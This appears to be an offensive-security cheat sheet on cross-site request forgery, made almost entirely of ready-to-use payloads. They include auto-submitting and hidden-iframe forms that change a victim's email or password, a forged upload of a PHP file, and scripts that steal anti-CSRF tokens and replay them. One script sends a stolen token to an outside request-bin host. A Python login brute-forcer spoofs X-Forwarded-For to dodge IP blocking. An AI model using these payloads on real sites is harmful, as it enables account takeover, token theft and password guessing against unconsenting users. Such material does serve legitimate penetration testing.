CSRF

CSRF Checklist

Form GET request

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="GET" action="https://victim.net/email/change-email">
      <input type="hidden" name="email" value="some@email.com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Form POST request

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form method="POST" action="https://victim.net/email/change-email" id="csrfform">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" /> <!-- Way 1 to autosubmit -->
      <input type="submit" value="Submit request" />
      <img src=x onerror="csrfform.submit();" /> <!-- Way 2 to autosubmit -->
    </form>
    <script>
      document.forms[0].submit(); //Way 3 to autosubmit
    </script>
  </body>
</html>

Form POST request through iframe

<!-- 
The request is sent through the iframe withuot reloading the page 
-->
<html>
  <body>
  <iframe style="display:none" name="csrfframe"></iframe> 
    <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
      <input type="hidden" name="email" value="some@email.com" autofocus onfocus="csrfform.submit();" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Ajax POST request

<script>
var xh;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xh=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xh=new ActiveXObject("Microsoft.XMLHTTP");
  }
xh.withCredentials = true;
xh.open("POST","http://challenge01.root-me.org/web-client/ch22/?action=profile");
xh.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); //to send proper header info (optional, but good to have as it may sometimes not work without this)
xh.send("username=abcd&status=on");
</script>

<script>
//JQuery version
$.ajax({
  type: "POST",
  url: "https://google.com",
  data: "param=value&param2=value2"
})
</script>

multipart/form-data POST request

myFormData = new FormData();
var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text"});
myFormData.append("newAttachment", blob, "pwned.php");
fetch("http://example/some/path", {
    method: "post",
    body: myFormData,
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    mode: "no-cors"
});

multipart/form-data POST request v2

// https://www.exploit-db.com/exploits/20009
var fileSize = fileData.length,
boundary = "OWNEDBYOFFSEC",
xhr = new XMLHttpRequest();
xhr.withCredentials = true;
xhr.open("POST", url, true);
//  MIME POST request.
xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
xhr.setRequestHeader("Content-Length", fileSize);
var body = "--" + boundary + "\r\n";
body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
body += "Content-Type: " + ctype + "\r\n\r\n";
body += fileData + "\r\n";
body += "--" + boundary + "--";

//xhr.send(body);
xhr.sendAsBinary(body);

Form POST request from within an iframe

<--! expl.html -->

<body onload="envia()">
<form method="POST"id="formulario" action="http://aplicacion.example.com/cambia_pwd.php">
<input type="text" id="pwd" name="pwd" value="otra nueva">
</form>
<body>
<script>
function envia(){document.getElementById("formulario").submit();}
</script>

<!-- public.html -->
<iframe src="2-1.html" style="position:absolute;top:-5000">
</iframe>
<h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>

Steal CSRF Token and send a POST request

function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);
    xhr.withCredentials = true;

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            //console.log(xhr.responseText);
        }
    }

    xhr.send("token=" + token + "&otherparama=heyyyy");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    xhr.withCredentials = true;
    // true on the end of here makes the call asynchronous
    xhr.open("GET", GET_URL, true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementById("token");
            // Show the token
            //console.log("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}

var GET_URL="http://google.com?param=VALUE"
var POST_URL="http://google.com?param=VALUE"
getTokenJS();

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
<input type="text" name="username" value="AA">
<input type="checkbox" name="status" checked="checked">
<input id="token" type="hidden" name="token" value="" />
</form>

<script type="text/javascript">
function f1(){
    x1=document.getElementById("i1");
    x1d=(x1.contentWindow||x1.contentDocument);
    t=x1d.document.getElementById("token").value;
    
    document.getElementById("token").value=t;
    document.getElementById("form1").submit();
}
</script> 
<iframe id="i1" style="display:none" src="http://google.com?param=VALUE" onload="javascript:f1();"></iframe>

Steal CSRF Token and sen a POST request using an iframe and a form

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script> 
function read()
{
    var name = 'admin2';
    var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
    document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
    document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
    document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
    document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
    document.writeln('</form>');
    document.forms[0].submit.click();
}
</script>

Steal token and send it using 2 iframes

<script>
var token;
function readframe1(){
  token = frame1.document.getElementById("profile").token.value;
  document.getElementById("bypass").token.value = token
  loadframe2();
}
function loadframe2(){
  var test = document.getElementbyId("frame2");
  test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2" 
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
  <input type="text" name="username" value="z">
  <input type="checkbox" name="status" checked="">        
  <input id="token" type="hidden" name="token" value="0000" />
  <button type="submit">Submit</button>
</form>

POSTSteal CSRF token with Ajax and send a post with a form

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
  <input type="hidden" name="username" value="root"/>
  <input type="hidden" name="status" value="on"/>
  <input type="hidden" id="findtoken" name="token" value=""/>
  <input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
  x.withCredentials = true;
  x.open("GET","http://google.com?param=VALUE",true);
  x.send(null); 
}
x.onreadystatechange = function() {
  if (x.readyState == XMLHttpRequest.DONE) {
    var token = x.responseText.match(/name="token" value="(.+)"/)[1];
    document.getElementById("findtoken").value = token;
    document.getElementById("form").submit();
  }
}
</script>

CSRF with Socket.IO

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
    console.log('connected!');
    socket.emit('join', {
        room: username
    });
  socket.emit('my_room_event', {
      data: '!flag',
      room: username
  })

});
</script>

The code can be used to Brut Force a login form using a CSRF token (It's also using the header X-Forwarded-For to try to bypass a possible IP blacklisting):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
    #Return CSRF + Session (cookie)
    r = requests.get(URL)
    csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
    csrf = csrf.group(1)
    session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
    return csrf, session_cookie

def login(user, password):
    print(f"{user}:{password}")
    csrf, cookie = init_session()
    cookies = {SESSION_COOKIE_NAME: cookie}
    data = {
        "tokenCSRF": csrf,
        "username": user,
        "password": password,
        "save": ""
    }
    headers = {
        "X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
    }
    r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
    if "Username or password incorrect" in r.text:
        return False
    else:
        print(f"FOUND {user} : {password}")
        return True

with open(PASS_LIST, "r") as f:
    for line in f:
        login(USER, line.strip())

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Last updated 1 year ago

Form GET request

Form POST request

Form POST request through iframe

Ajax POST request

multipart/form-data POST request

multipart/form-data POST request v2

Form POST request from within an iframe

Steal CSRF Token and send a POST request

Steal CSRF Token and send a Post request using an iframe, a form and Ajax

Steal CSRF Token and sen a POST request using an iframe and a form

Steal token and send it using 2 iframes

POSTSteal CSRF token with Ajax and send a post with a form

CSRF with Socket.IO

CSRF Login Brute Force